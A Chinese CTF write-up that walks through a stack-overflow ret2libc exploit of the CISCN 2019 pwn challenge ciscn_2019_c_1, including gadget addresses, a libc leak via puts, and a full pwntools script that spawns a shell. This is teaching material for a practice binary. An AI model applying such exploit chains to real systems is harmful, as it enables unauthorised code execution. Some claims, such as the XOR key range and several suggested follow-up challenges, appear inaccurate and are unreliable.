ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

CTF栈溢出与ret2libc漏洞利用实战解析

CTF栈溢出与ret2libc漏洞利用实战解析

1. 项目背景与核心挑战

"ciscn__c_-retlibc"这道PWN题来自2019年全国大学生信息安全竞赛(CISCN)华东南赛区,是一道典型的栈溢出结合ret2libc的题目。这类题目在CTF比赛中具有标志性意义——它考察选手对内存布局、函数调用约定、动态链接机制等底层原理的理解,是PWN入门者向中级进阶的关键跳板。

我第一次接触这道题时,花了整整两天时间才完成漏洞利用。过程中踩过的坑包括:误判libc版本导致偏移计算错误、ROP链构造时寄存器状态处理不当、以及本地打通后远程环境差异导致的意外失败。这些经历让我意识到,ret2libc类题目就像PWN领域的"九九乘法表",必须彻底吃透其原理才能应对更复杂的漏洞利用场景。

2. 漏洞分析与利用框架

2.1 二进制文件基础检查

首先用checksec检查防护机制:

checksec ./ciscn_2019_c_1 [*] '/ctf/ciscn_2019_c_1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

关键信息解读:

  • NX enabled:栈不可执行,直接注入shellcode的方案不可行
  • No PIE:代码段地址固定,便于定位gadget
  • No canary:存在栈溢出可能

2.2 逆向工程关键发现

使用IDA Pro分析程序逻辑,发现主要漏洞点在encrypt()函数:

char s[48]; // [rsp+0h] [rbp-50h] int v6; // [rsp+30h] [rbp-20h] ... gets(s); // 明显的栈溢出漏洞

通过计算可知,s到返回地址的偏移量为0x50 + 8 = 0x58(88)字节。但题目对输入进行了异或加密处理,需要先绕过:

for ( i = 0; i < strlen(s); ++i ) { if ( s[i] ) s[i] ^= key; // key=0x10-0x35的随机值 }

2.3 漏洞利用路线图

完整的利用流程分为四个阶段:

  1. 泄露libc基地址:通过ROP调用puts()输出GOT表项
  2. 计算system()和"/bin/sh"地址:基于泄露的地址计算偏移
  3. 构造二次payload:包含system()调用和参数
  4. 处理加密干扰:通过NULL字节绕过异或处理

3. 详细利用过程

3.1 第一阶段:泄露libc地址

构造初始ROP链需要以下gadget:

pop_rdi = 0x400c83 # pop rdi; ret puts_plt = 0x4006e0 puts_got = 0x602020 main_addr = 0x400B28 # 用于重新执行程序

payload结构:

[88字节填充] + [pop_rdi] + [puts_got] + [puts_plt] + [main_addr]

关键技巧:

  • 在payload前88字节中不能出现0x10-0x35的值,否则会被异或修改
  • 使用cyclic pattern精确确认偏移量时,要注意加密导致的字节变化

3.2 动态获取libc版本

收到泄露的地址后,使用libc-database查询:

./find puts 0x7ffff7a7c690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)

得到关键偏移:

puts_offset = 0x6f690 system_offset = 0x45390 bin_sh_offset = 0x18cd57

3.3 第二阶段:获取shell

计算实际地址:

libc_base = leaked_puts - puts_offset system_addr = libc_base + system_offset bin_sh_addr = libc_base + bin_sh_offset

最终payload结构:

[88字节填充] + [pop_rdi] + [bin_sh_addr] + [system_addr]

4. 完整利用代码

from pwn import * context(arch='amd64', os='linux', log_level='debug') # 本地调试配置 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process('./ciscn_2019_c_1') # 第一阶段:泄露puts地址 pop_rdi = 0x400c83 payload = b'A'*88 + p64(pop_rdi) + p64(0x602020) + p64(0x4006e0) + p64(0x400B28) p.sendlineafter('choice!\n', '1') p.sendlineafter('encrypted\n', payload) p.recvuntil('Ciphertext\n') leaked_puts = u64(p.recvline()[:-1].ljust(8, b'\x00')) log.success(f"Leaked puts@GLIBC: {hex(leaked_puts)}") # 计算libc基址 libc_base = leaked_puts - libc.sym['puts'] system = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh\x00')) # 第二阶段:获取shell payload = b'A'*88 + p64(pop_rdi) + p64(bin_sh) + p64(system) p.sendlineafter('choice!\n', '1') p.sendlineafter('encrypted\n', payload) p.interactive()

5. 实战中的坑与解决方案

5.1 加密干扰处理

题目中的异或加密会导致特殊字节被修改。解决方案:

  • 在payload前88字节填充时,使用0x00或>0x35的ASCII字符
  • 关键地址中的低位字节如果落在0x10-0x35范围,需要调整栈布局

5.2 远程环境差异

本地测试成功后远程失败的可能原因:

  • libc版本不一致(需确认比赛提供的libc)
  • 网络延迟导致交互超时(添加recv timeout)
  • 系统ASLR策略不同(可尝试多次运行)

5.3 ROP链构造技巧

经验总结:

  • 在pop rdi后跟ret指令的gadget比单独pop更稳定
  • 在调用system前确保rsp按16字节对齐(可添加额外ret)
  • 使用ROPgadget工具时配合--depth参数扩大搜索范围

6. 拓展训练建议

要彻底掌握ret2libc技术,建议按以下顺序练习:

  1. ret2libc基础:如pwnable.kr的fd题目
  2. 带部分RELRO的题目:如XCTF的level3
  3. 结合栈迁移的题目:如HITCON的sleepy_holder
  4. 多阶段泄露的题目:如L-CTF的easy_heap

每次练习后应该能回答三个问题:

  • libc基址是如何确定的?
  • 如何验证泄露地址的正确性?
  • 如果题目增加canary或PIE防护,利用链该如何调整?
返回列表